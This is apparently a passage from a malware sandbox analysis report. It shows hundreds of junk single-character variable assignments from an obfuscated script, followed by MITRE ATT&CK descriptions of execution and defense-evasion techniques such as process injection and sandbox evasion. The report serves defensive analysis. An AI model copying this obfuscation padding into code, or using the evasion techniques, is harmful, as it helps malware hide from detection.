512	cuuifmusd = "P";
513	cuuifmusd = "A";
514	cuuifmusd = "C";
515	cuuifmusd = "L";
516	cuuifmusd = "K";
517	cuuifmusd = "d";
518	cuuifmusd = "a";
519	cuuifmusd = "N";
520	cuuifmusd = "z";
521	cuuifmusd = "P";
522	cuuifmusd = "M";
523	cuuifmusd = "G";
524	cuuifmusd = "X";
525	cuuifmusd = "o";
526	cuuifmusd = "F";
527	cuuifmusd = "S";
528	cuuifmusd = "a";
529	cuuifmusd = "R";
530	cuuifmusd = "y";
531	cuuifmusd = "o";
532	cuuifmusd = "u";
533	cuuifmusd = "F";
534	cuuifmusd = "M";
535	cuuifmusd = "m";
536	cuuifmusd = "D";
537	cuuifmusd = "z";
538	cuuifmusd = "R";
539	cuuifmusd = "k";
540	cuuifmusd = "_";
541	inonwe = "w";
542	inonwe = "B";
543	inonwe = "p";
544	inonwe = "v";
545	inonwe = "n";
546	inonwe = "J";
547	inonwe = "Y";
548	inonwe = "M";
549	inonwe = "J";
550	inonwe = "d";
551	inonwe = "j";
552	inonwe = "W";
553	inonwe = "k";
554	inonwe = "k";
555	inonwe = "p";
556	inonwe = "m";
557	inonwe = "y";
558	inonwe = "r";
559	inonwe = "P";
560	inonwe = "Q";
561	inonwe = "w";
562	inonwe = "j";
563	inonwe = "Z";
564	inonwe = "G";
565	inonwe = "Y";
566	inonwe = "v";
567	inonwe = "d";
568	inonwe = "I";
569	inonwe = "y";
570	inonwe = "N";
571	inonwe = "N";
572	inonwe = "R";
573	inonwe = "B";
574	inonwe = "k";
575	inonwe = "L";
576	inonwe = "c";
577	inonwe = "E";
578	inonwe = "P";
579	inonwe = "g";
580	hbveunycj = "a";
581	hbveunycj = "d";
582	hbveunycj = "X";
583	hbveunycj = "h";
584	hbveunycj = "a";
585	hbveunycj = "s";
586	hbveunycj = "q";
587	hbveunycj = "X";
588	hbveunycj = "y";
589	hbveunycj = "B";
590	hbveunycj = "y";
591	hbveunycj = "j";
592	hbveunycj = "W";
593	hbveunycj = "a";
594	hbveunycj = "Z";
595	hbveunycj = "K";
596	hbveunycj = "Y";
597	hbveunycj = "p";
598	hbveunycj = "V";
599	hbveunycj = "v";
600	hbveunycj = "M";
601	hbveunycj = "p";
602	hbveunycj = "s";
603	hbveunycj = "U";
604	hbveunycj = "b";
605	hbveunycj = "u";
606	hbveunycj = "r";
607	hbveunycj = "X";
608	hbveunycj = "N";
609	hbveunycj = "x";
610	hbveunycj = "U";
611	hbveunycj = "h";
612	hbveunycj = "f";
613	hbveunycj = "P";
614	hbveunycj = "V";
615	hbveunycj = "c";
616	hbveunycj = "I";
617	hbveunycj = "w";
618	hbveunycj = "S";
619	hbveunycj = "X";
620	hbveunycj = "W";
621	hbveunycj = "j";
622	hbveunycj = "8";
623	gazqw = "r";
624	gazqw = "y";
625	gazqw = "W";
626	gazqw = "L";
627	gazqw = "Z";
628	gazqw = "l";
629	gazqw = "i";
630	gazqw = "N";
631	gazqw = "Q";
632	gazqw = "V";
633	gazqw = "V";
634	gazqw = "m";
635	gazqw = "W";
636	gazqw = "D";
637	gazqw = "T";
638	gazqw = "w";
639	gazqw = "M";
640	gazqw = "K";
641	gazqw = "C";
642	gazqw = "C";
643	gazqw = "T";
644	gazqw = "d";
645	gazqw = "F";
646	gazqw = "l";
647	gazqw = "h";
648	uiubtldj = "h";
649	uiubtldj = "G";
650	uiubtldj = "k";
651	uiubtldj = "Q";
652	uiubtldj = "c";
653	uiubtldj = "w";
654	uiubtldj = "M";
655	uiubtldj = "B";
656	uiubtldj = "w";
657	uiubtldj = "m";
658	uiubtldj = "D";
659	uiubtldj = "A";
660	uiubtldj = "T";
661	uiubtldj = "m";
662	uiubtldj = "m";
663	uiubtldj = "T";
664	uiubtldj = "B";
665	uiubtldj = "o";
666	uiubtldj = "e";
667	uiubtldj = "H";
668	uiubtldj = "r";
669	uiubtldj = "d";
670	uiubtldj = "Z";
671	uiubtldj = "n";
672	uiubtldj = "x";
673	uiubtldj = "K";
674	uiubtldj = "b";
675	uiubtldj = "P";
676	uiubtldj = "t";
677	uiubtldj = "W";
678	uiubtldj = "Z";
679	uiubtldj = "n";
680	uiubtldj = "V";
681	uiubtldj = "J";
682	uiubtldj = "f";
683	uiubtldj = "I";
684	uiubtldj = "x";
685	uiubtldj = "K";
686	uiubtldj = "n";
687	uiubtldj = "Z";
688	uiubtldj = "k";
689	uiubtldj = "o";
690	uiubtldj = "u";
691	uiubtldj = "L";
692	wnxoldl = "a";
693	wnxoldl = "A";
694	wnxoldl = "T";
695	wnxoldl = "T";
696	wnxoldl = "Y";
697	wnxoldl = "t";
698	wnxoldl = "F";
699	wnxoldl = "H";
700	wnxoldl = "K";
701	wnxoldl = "l";
702	wnxoldl = "S";
703	wnxoldl = "Z";
704	wnxoldl = "o";
705	wnxoldl = "m";
706	wnxoldl = "S";
707	wnxoldl = "Q";
708	wnxoldl = "K";
709	wnxoldl = "v";
710	wnxoldl = "o";
711	wnxoldl = "W";
712	wnxoldl = "E";
713	wnxoldl = "u";
714	wnxoldl = "H";
715	wnxoldl = "d";
716	wnxoldl = "q";
717	wnxoldl = "E";
718	wnxoldl = "R";
719	qqnfbizk = "L";
720	qqnfbizk = "e";
721	qqnfbizk = "G";
722	qqnfbizk = "i";
723	qqnfbizk = "j";
724	qqnfbizk = "n";
725	qqnfbizk = "b";
726	qqnfbizk = "3";
727	kenlkmcep = "q";
728	kenlkmcep = "L";
729	kenlkmcep = "T";
730	kenlkmcep = "w";
731	kenlkmcep = "m";
732	kenlkmcep = "z";
733	kenlkmcep = "0";
734	jdulhauyy = "o";
735	jdulhauyy = "h";
736	jdulhauyy = "C";
737	jdulhauyy = "X";
738	jdulhauyy = "S";
739	jdulhauyy = "f";
740	jdulhauyy = "b";
741	jdulhauyy = "j";
742	jdulhauyy = "o";
743	jdulhauyy = "J";
744	jdulhauyy = "I";
745	jdulhauyy = "V";
746	jdulhauyy = "F";
747	jdulhauyy = "w";
748	jdulhauyy = "S";
749	jdulhauyy = "m";
750	jdulhauyy = "E";
751	jdulhauyy = "C";
752	jdulhauyy = "B";
753	jdulhauyy = "V";
754	jdulhauyy = "m";
755	jdulhauyy = "m";
756	jdulhauyy = "I";
757	jdulhauyy = "G";
758	jdulhauyy = "E";
759	jdulhauyy = "P";
760	gdemysd = "H";
761	gdemysd = "C";
762	rfuzd = "k";
763	rfuzd = "Q";
764	rfuzd = "o";
765	rfuzd = "a";
766	rfuzd = "d";
767	rfuzd = "D";
768	rfuzd = "1";
769	ajbacf = "g";
770	ajbacf = "z";
771	ajbacf = "B";
772	ajbacf = "m";
773	ajbacf = "M";
774	ajbacf = "F";
775	ajbacf = "R";
776	ajbacf = "u";
777	ajbacf = "P";
778	ajbacf = "l";
779	ajbacf = "H";
780	ajbacf = "T";
781	ajbacf = "F";
782	ajbacf = "G";
783	ajbacf = "m";
784	ajbacf = "m";
785	ajbacf = "q";
786	ajbacf = "B";
787	ajbacf = "H";
788	ajbacf = "Y";
789	ajbacf = "Q";
790	ajbacf = "K";
791	ajbacf = "k";
792	ajbacf = "u";
793	ajbacf = "D";
794	ajbacf = " ";
795	ciutnvto = "I";
796	ciutnvto = "G";
797	ciutnvto = "n";
798	ciutnvto = "P";
799	ciutnvto = "n";
800	ciutnvto = "Q";
801	ciutnvto = "b";
802	ciutnvto = "n";
803	ciutnvto = "B";
804	ciutnvto = "P";
805	ciutnvto = "o";
806	ciutnvto = "X";
807	ciutnvto = "F";
808	ciutnvto = "U";
809	ciutnvto = "Z";
810	ciutnvto = "X";
811	ciutnvto = "o";
812	ciutnvto = "K";
813	ciutnvto = "X";
814	ciutnvto = "E";
815	ciutnvto = "p";
816	ciutnvto = "w";
817	ciutnvto = "W";
818	ciutnvto = "l";
819	ciutnvto = "R";
820	ciutnvto = "Q";
821	ciutnvto = "e";
822	ciutnvto = "m";
823	ciutnvto = "M";
824	ciutnvto = "t";
825	ciutnvto = "l";
826	ciutnvto = "P";
827	ciutnvto = "t";
828	ciutnvto = "r";
829	ciutnvto = "Z";
830	ciutnvto = "b";
831	ciutnvto = "H";
832	ciutnvto = "G";
833	ciutnvto = ".";
834	irvghav = "Z";
835	irvghav = "M";
836	irvghav = "n";
837	irvghav = "w";
838	irvghav = "L";
839	irvghav = "x";
840	irvghav = "W";
841	irvghav = "G";
842	irvghav = "V";
843	irvghav = "w";
844	irvghav = "K";
845	irvghav = "F";
846	irvghav = "s";
847	irvghav = "m";
848	irvghav = "W";
849	irvghav = "B";
850	irvghav = "j";
851	irvghav = "w";
852	irvghav = "F";
853	irvghav = "f";
854	irvghav = "s";
855	irvghav = "r";
856	irvghav = "K";
857	irvghav = "C";
858	irvghav = "T";
859	irvghav = "B";
860	irvghav = "H";
861	irvghav = "Q";
862	irvghav = "m";
863	irvghav = "g";
864	irvghav = "V";
865	irvghav = "i";
866	irvghav = "N";
867	svcnxcc = "z";
868	svcnxcc = "z";
869	svcnxcc = "z";
870	svcnxcc = "e";
871	svcnxcc = "Z";
872	svcnxcc = "T";
873	svcnxcc = "i";
874	svcnxcc = "d";
875	svcnxcc = "R";
876	svcnxcc = "W";
877	svcnxcc = "d";
878	svcnxcc = "h";
879	svcnxcc = "K";
880	svcnxcc = "F";
881	svcnxcc = "C";
882	svcnxcc = "L";
883	svcnxcc = "r";
884	svcnxcc = "y";
885	svcnxcc = "n";
886	svcnxcc = "g";
887	svcnxcc = "H";
888	svcnxcc = "w";
889	svcnxcc = "h";
890	svcnxcc = "q";
891	svcnxcc = "Z";
892	svcnxcc = "i";
893	svcnxcc = "P";
894	svcnxcc = "q";
895	svcnxcc = "D";
896	svcnxcc = "I";
897	svcnxcc = "m";
898	svcnxcc = "j";
899	svcnxcc = "L";
900	svcnxcc = "c";
901	svcnxcc = "e";
902	svcnxcc = "n";
903	svcnxcc = "Z";
904	svcnxcc = "Q";
905	svcnxcc = "N";
906	svcnxcc = "u";
907	svcnxcc = "A";
908	svcnxcc = "P";
909	svcnxcc = "p";
910	svcnxcc = "4";
911	txriowwd = "t";
912	txriowwd = "c";
913	txriowwd = "o";
914	txriowwd = "Q";
915	txriowwd = "I";
916	txriowwd = "O";
917	txriowwd = "c";
918	txriowwd = "h";
919	txriowwd = "9";
920	rctdp = "@";
921	nlbgdlwj = "R";
922	nlbgdlwj = "O";
923	nlbgdlwj = "S";
924	nlbgdlwj = "f";
925	wfktmjccd = "E";
926	wfktmjccd = "w";
927	wfktmjccd = "l";
928	wfktmjccd = "W";
929	wfktmjccd = "U";
930	wfktmjccd = "U";
931	wfktmjccd = "D";
932	wfktmjccd = "D";
933	wfktmjccd = "c";
934	wfktmjccd = "z";
935	wfktmjccd = "E";
936	wfktmjccd = "o";
937	wfktmjccd = "V";
938	wfktmjccd = "Y";
939	wfktmjccd = "a";
940	wfktmjccd = "x";
941	wfktmjccd = "Q";
942	wfktmjccd = "u";
943	wfktmjccd = "v";
944	wfktmjccd = "a";
945	wfktmjccd = "%";
946	eixict = "i";
947	eixict = "L";
948	eixict = "q";
949	eixict = "U";
950	eixict = "F";
951	eixict = "V";
952	eixict = "i";
953	eixict = "x";
954	eixict = "x";
955	eixict = "b";
956	eixict = "Q";
957	eixict = "f";
958	eixict = "N";
959	eixict = "B";
960	eixict = "L";
961	eixict = "I";
962	eixict = "r";
963	eixict = "q";
964	eixict = "h";
965	eixict = "P";
966	eixict = "w";
967	eixict = "B";
968	eixict = "m";
969	eixict = "F";
970	mmswoqelm = "u";
971	mmswoqelm = "K";
972	mmswoqelm = "h";
973	mmswoqelm = "n";
974	mmswoqelm = "d";
975	mmswoqelm = "c";
976	mmswoqelm = "s";
977	mmswoqelm = "X";
978	mmswoqelm = "I";
979	mmswoqelm = "Y";
980	mmswoqelm = "c";
981	mmswoqelm = "O";
982	mmswoqelm = "U";
983	mmswoqelm = "q";
984	mmswoqelm = "D";
985	mmswoqelm = "O";
986	mmswoqelm = "Y";
987	mmswoqelm = "G";
988	mmswoqelm = "s";
989	mmswoqelm = "p";
990	mmswoqelm = "I";
991	mmswoqelm = "K";
992	mmswoqelm = "u";
993	mmswoqelm = "i";
994	mmswoqelm = "b";
995	kygfnl = "x";
996	kygfnl = "H";
997	kygfnl = "S";
998	kygfnl = "I";
999	kygfnl = "U";
1000	kygfnl = "s";
1001	kygfnl = "b";
1002	kygfnl = "L";
1003	kygfnl = "l";
1004	aoinnmzp = "u";
1005	aoinnmzp = "w";
1006	aoinnmzp = "m";
1007	aoinnmzp = "j";
1008	aoinnmzp = "U";
1009	aoinnmzp = "D";
1010	aoinnmzp = "g";
1011	aoinnmzp = "g";
1012	aoinnmzp = "E";
1013	aoinnmzp = "P";
1014	aoinnmzp = "K";
1015	aoinnmzp = "d";
1016	aoinnmzp = "q";
1017	aoinnmzp = "D";
1018	aoinnmzp = "N";
1019	aoinnmzp = "Z";
1020	aoinnmzp = "k";
1021	aoinnmzp = "I";
1022	aoinnmzp = "J";
1023	aoinnmzp = "A";
1024	aoinnmzp = "a";
1025	aoinnmzp = "p";
1026	aoinnmzp = "Z";
1027	aoinnmzp = "x";
1028	aoinnmzp = "S";
1029	aoinnmzp = "o";
1030	aoinnmzp = "f";
1031	aoinnmzp = "S";
1032	aoinnmzp = "W";
1033	aoinnmzp = ":";
1034	cpajn = "O";
1035	cpajn = "U";
1036	cpajn = "q";
1037	cpajn = "Q";
1038	cpajn = "r";
1039	cpajn = "R";
1040	cpajn = "G";
1041	cpajn = "r";
1042	cpajn = "O";
1043	cpajn = "f";
1044	cpajn = "s";
1045	cpajn = "c";
1046	cpajn = "O";
1047	cpajn = "X";
1048	cpajn = "R";
1049	cpajn = "d";
1050	cpajn = "z";
1051	cpajn = "u";
1052	cpajn = "S";
1053	cpajn = "E";
1054	cpajn = "F";
1055	cpajn = "P";
1056	cpajn = "c";
1057	cpajn = "W";
1058	cpajn = "E";
1059	cpajn = "F";
1060	cpajn = "m";
1061	cpajn = "j";
1062	wpzeonlr = "N";
1063	wpzeonlr = "p";
1064	wpzeonlr = "l";
1065	wpzeonlr = "j";
1066	wpzeonlr = "X";
1067	wpzeonlr = "i";
1068	wpzeonlr = "H";
1069	wpzeonlr = "X";
1070	wpzeonlr = "E";
1071	wpzeonlr = "i";
1072	wpzeonlr = "C";
1073	wpzeonlr = "d";
1074	wpzeonlr = "X";
1075	wpzeonlr = "l";
1076	wpzeonlr = "v";
1077	wpzeonlr = "Y";
1078	hnbcockh = "o";
1079	hnbcockh = "i";
1080	hnbcockh = "v";
1081	hnbcockh = "N";
1082	hnbcockh = "h";
1083	hnbcockh = "x";
1084	hnbcockh = "i";
1085	hnbcockh = "l";
1086	hnbcockh = "R";
1087	hnbcockh = "h";
1088	hnbcockh = "Q";
1089	hnbcockh = "V";
1090	hnbcockh = "w";
1091	hnbcockh = "W";
1092	hnbcockh = "n";
1093	hnbcockh = "f";
1094	hnbcockh = "I";
1095	hnbcockh = "M";
1096	hnbcockh = "W";
1097	hnbcockh = "z";
1098	hnbcockh = "i";
1099	hnbcockh = "t";
1100	hnbcockh = "J";
1101	hnbcockh = "d";
1102	hnbcockh = "S";
1103	hnbcockh = "x";
1104	hnbcockh = "k";
1105	hnbcockh = "v";
1106	hnbcockh = "S";
1107	hnbcockh = "u";
1108	hnbcockh = "G";
1109	hnbcockh = "h";
1110	hnbcockh = "O";
1111	hnbcockh = "\"";
1112	cboidyzlm = "P";
1113	cboidyzlm = "I";
1114	cboidyzlm = "s";
1115	cboidyzlm = "h";
1116	cboidyzlm = "C";
1117	cboidyzlm = "I";
1118	cboidyzlm = "W";
1119	cboidyzlm = "Q";
1120	cboidyzlm = "T";
1121	cboidyzlm = "I";
1122	cboidyzlm = "E";
1123	cboidyzlm = "h";
1124	cboidyzlm = "A";
1125	cboidyzlm = "z";
1126	cboidyzlm = "k";
1127	cboidyzlm = "r";
1128	cboidyzlm = "I";
1129	cboidyzlm = "v";
1130	cboidyzlm = "A";
1131	cboidyzlm = "F";
1132	cboidyzlm = "C";
1133	cboidyzlm = "H";
1134	cboidyzlm = "P";
1135	cboidyzlm = "m";
1136	cboidyzlm = "p";
1137	cboidyzlm = "b";
1138	cboidyzlm = "R";
1139	cboidyzlm = "V";
1140	cboidyzlm = "c";
1141	cboidyzlm = "d";
1142	cboidyzlm = "A";
1143	cboidyzlm = "K";
1144	cboidyzlm = "X";
1145	cboidyzlm = "N";
1146	cboidyzlm = "o";
1147	cboidyzlm = "i";
1148	cboidyzlm = "o";
1149	cboidyzlm = "f";
1150	cboidyzlm = "m";
1151	cboidyzlm = "e";
1152	cboidyzlm = "X";
1153	cboidyzlm = "a";
1154	somdxopjb = "Q";
1155	somdxopjb = "v";
1156	somdxopjb = "a";
1157	somdxopjb = "i";
1158	somdxopjb = "W";
1159	somdxopjb = "k";
1160	somdxopjb = "v";
1161	somdxopjb = "j";
1162	somdxopjb = "a";
1163	somdxopjb = "Z";
1164	somdxopjb = "H";
1165	somdxopjb = "e";
1166	somdxopjb = "e";
1167	somdxopjb = "u";
1168	somdxopjb = "p";
1169	somdxopjb = "t";
1170	somdxopjb = "C";
1171	somdxopjb = "Z";
1172	somdxopjb = "l";
1173	somdxopjb = "y";
1174	somdxopjb = "H";
1175	somdxopjb = "w";
1176	somdxopjb = "S";
1177	ehwcjjdul = "D";
1178	ehwcjjdul = "H";
1179	ehwcjjdul = "p";
1180	ehwcjjdul = "a";
1181	ehwcjjdul = "f";
1182	ehwcjjdul = "O";
1183	ehwcjjdul = "t";
1184	ehwcjjdul = "e";
1185	ehwcjjdul = "B";
1186	ehwcjjdul = "J";
1187	ehwcjjdul = "n";
1188	ehwcjjdul = "t";
1189	ehwcjjdul = "c";
1190	ehwcjjdul = "h";
1191	ehwcjjdul = "P";
1192	ehwcjjdul = "H";
1193	ehwcjjdul = "t";
1194	ehwcjjdul = "S";
1195	ehwcjjdul = "N";
1196	ehwcjjdul = "X";
1197	ehwcjjdul = "I";
1198	mqomu = "a";
1199	mqomu = "s";
1200	mqomu = "y";
1201	mqomu = "S";
1202	mqomu = "I";
1203	mqomu = "W";
1204	mqomu = "T";
1205	mqomu = "v";
1206	dlczhj = "m";
1207	dlczhj = "\\";
1208	agdmaoo = "x";
1209	agdmaoo = "T";
1210	agdmaoo = "k";
1211	agdmaoo = "Q";
1212	agdmaoo = "V";
1213	agdmaoo = "T";
1214	agdmaoo = "t";
1215	agdmaoo = "y";
1216	agdmaoo = "P";
1217	agdmaoo = "U";
1218	agdmaoo = "G";
1219	agdmaoo = "F";
1220	agdmaoo = "q";
1221	agdmaoo = "x";
1222	agdmaoo = "c";
1223	agdmaoo = "Z";
1224	agdmaoo = "o";
1225	agdmaoo = "d";
1226	agdmaoo = "p";
1227	bajxum = "L";
1228	bajxum = "b";
1229	bajxum = "c";
1230	bajxum = "q";
1231	bajxum = "M";
1232	bajxum = "c";
1233	bajxum = "t";
1234	bajxum = "O";
1235	bajxum = "T";
1236	avuky = "Q";
1237	avuky = "p";
1238	avuky = "M";
1239	avuky = "D";
1240	avuky = "Q";
1241	avuky = "h";
1242	avuky = "y";
1243	avuky = "V";
1244	avuky = "Y";
1245	avuky = "B";
1246	avuky = "B";
1247	avuky = "O";
1248	avuky = "U";
1249	ghqwquhs = "V";
1250	ghqwquhs = "g";
1251	ghqwquhs = "p";
1252	ghqwquhs = "N";
1253	ghqwquhs = "E";
1254	ghqwquhs = "W";
1255	ghqwquhs = "z";
1256	ghqwquhs = "a";
1257	ghqwquhs = "Q";
1258	ghqwquhs = "I";
1259	ghqwquhs = "c";
1260	ghqwquhs = "l";
1261	ghqwquhs = "P";
1262	ghqwquhs = "r";
1263	ghqwquhs = "H";
1264	ghqwquhs = "T";
1265	ghqwquhs = "C";
1266	ghqwquhs = "Z";
1267	ghqwquhs = "U";
1268	ghqwquhs = "u";
1269	ghqwquhs = "f";
1270	ghqwquhs = "m";
1271	ghqwquhs = "A";
1272	ghqwquhs = "l";
1273	ghqwquhs = "h";
1274	ghqwquhs = "B";
1275	ghqwquhs = "O";
1276	ghqwquhs = "R";
1277	ghqwquhs = "A";
1278	ghqwquhs = "U";
1279	ghqwquhs = "f";
1280	ghqwquhs = "w";
1281	ghqwquhs = "D";
1282	ghqwquhs = "r";
1283	ghqwquhs = "a";
1284	ghqwquhs = "e";
1285	ghqwquhs = "A";
1286	ghqwquhs = "O";
1287	ghqwquhs = "O";
1288	xonoisi = "l";
1289	xonoisi = "l";
1290	xonoisi = "P";
1291	xonoisi = "T";
1292	xonoisi = "y";
1293	xonoisi = "n";
1294	xonoisi = "w";
1295	xonoisi = "i";
1296	xonoisi = "w";
1297	xonoisi = "V";
1298	xonoisi = "L";
1299	xonoisi = "a";
1300	xonoisi = "s";
1301	xonoisi = "e";
1302	xonoisi = "U";
1303	xonoisi = "X";
1304	xonoisi = "P";
1305	xonoisi = "p";
1306	xonoisi = "V";
1307	xonoisi = "F";
1308	xonoisi = "X";
1309	xonoisi = "U";
1310	xonoisi = "p";
1311	xonoisi = "l";
1312	xonoisi = "V";
1313	xonoisi = "r";
1314	xonoisi = "y";
1315	xonoisi = "U";
1316	xonoisi = "x";
1317	xonoisi = "m";
1318	dfenbhvyn = "F";
1319	dfenbhvyn = "L";
1320	dfenbhvyn = "f";
1321	dfenbhvyn = "E";
1322	dfenbhvyn = "l";
1323	dfenbhvyn = "O";
1324	dfenbhvyn = "i";
1325	dfenbhvyn = "Z";
1326	dfenbhvyn = "D";
1327	dfenbhvyn = "o";
1328	dfenbhvyn = "J";
1329	dfenbhvyn = "U";
1330	dfenbhvyn = "X";
1331	dfenbhvyn = "B";
1332	dfenbhvyn = "g";
1333	dfenbhvyn = "t";
1334	dfenbhvyn = "w";
1335	dfenbhvyn = "h";
1336	dfenbhvyn = "p";
1337	dfenbhvyn = "a";
1338	dfenbhvyn = "B";
1339	dfenbhvyn = "w";
1340	dfenbhvyn = "F";
1341	dfenbhvyn = "X";
1342	dfenbhvyn = "I";
1343	dfenbhvyn = "y";
1344	dfenbhvyn = "u";
1345	dfenbhvyn = "K";
1346	dfenbhvyn = "Q";
1347	dfenbhvyn = "s";
1348	dfenbhvyn = "Z";
1349	dfenbhvyn = "g";
1350	dfenbhvyn = "G";
1351	dfenbhvyn = "z";
1352	dfenbhvyn = "z";
1353	dfenbhvyn = "h";
1354	dfenbhvyn = "K";
1355	dfenbhvyn = "V";
1356	dfenbhvyn = "2";
1357	mnlxwcim = "o";
1358	mnlxwcim = "T";
1359	mnlxwcim = "i";
1360	mnlxwcim = "w";
1361	mnlxwcim = "N";
1362	mnlxwcim = "a";
1363	mnlxwcim = "Y";
1364	mnlxwcim = "C";
1365	mnlxwcim = "i";
1366	mnlxwcim = "C";
1367	mnlxwcim = "i";
1368	mnlxwcim = "k";
1369	mnlxwcim = "o";
1370	mnlxwcim = "Z";
1371	mnlxwcim = "D";
1372	mnlxwcim = "Y";
1373	mnlxwcim = "d";
1374	mnlxwcim = "i";
1375	mnlxwcim = "h";
1376	mnlxwcim = "W";
1377	mnlxwcim = "Z";
1378	mnlxwcim = "n";
1379	mnlxwcim = "J";
1380	mnlxwcim = "d";
1381	mnlxwcim = "D";
1382	mnlxwcim = "Z";
1383	mnlxwcim = "O";
1384	mnlxwcim = "J";
1385	mnlxwcim = "K";
1386	mnlxwcim = "s";
1387	mnlxwcim = "j";
1388	mnlxwcim = "S";
1389	mnlxwcim = "v";
1390	mnlxwcim = "I";
1391	mnlxwcim = "U";
1392	mnlxwcim = "q";
1393	mnlxwcim = "l";
1394	mnlxwcim = "N";
1395	mnlxwcim = "z";
1396	mnlxwcim = "K";
1397	mnlxwcim = "o";
1398	mnlxwcim = "e";
1399	kmwbn = "-";
1400	lzmjugn = "w";
1401	lzmjugn = "y";
1402	lzmjugn = "j";
1403	lzmjugn = "S";
1404	lzmjugn = "G";
1405	lzmjugn = "l";
1406	lzmjugn = "L";
1407	lzmjugn = "c";
1408	laczzgq = "G";
1409	laczzgq = "s";
1410	laczzgq = "c";
1411	laczzgq = "M";
1412	laczzgq = "d";
1413	laczzgq = "A";
1414	laczzgq = "Q";
1415	laczzgq = "Q";
1416	laczzgq = "Q";
1417	laczzgq = "c";
1418	laczzgq = "b";
1419	laczzgq = "D";
1420	laczzgq = "p";
1421	laczzgq = "U";
1422	laczzgq = "E";
1423	laczzgq = "s";
1424	laczzgq = "z";
1425	laczzgq = "L";
1426	laczzgq = "i";
1427	laczzgq = "Z";
1428	laczzgq = "k";
1429	laczzgq = "/";
1430	uzcuit = "Q";
1431	uzcuit = "u";
1432	uzcuit = "D";
1433	uzcuit = "U";
1434	uzcuit = "v";
1435	uzcuit = "t";
1436	uzcuit = "v";
1437	uzcuit = "z";
1438	uzcuit = "k";
1439	uzcuit = "H";
1440	uzcuit = "m";
1441	uzcuit = "c";
1442	uzcuit = "s";
1443	uzcuit = "P";
1444	uzcuit = "p";
1445	uzcuit = "Q";
1446	uzcuit = "u";
1447	uzcuit = "w";
1448	uzcuit = "M";
1449	uzcuit = "m";
1450	uzcuit = "Z";
1451	uzcuit = "C";
1452	uzcuit = "c";
1453	uzcuit = "C";
1454	uzcuit = "5";
1455	khyxnuv = "P";
1456	khyxnuv = "M";
1457	khyxnuv = "Y";
1458	khyxnuv = "s";
1459	khyxnuv = "B";
1460	khyxnuv = "T";
1461	khyxnuv = "s";
1462	tscbsnx ( );	tscbsnx() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre
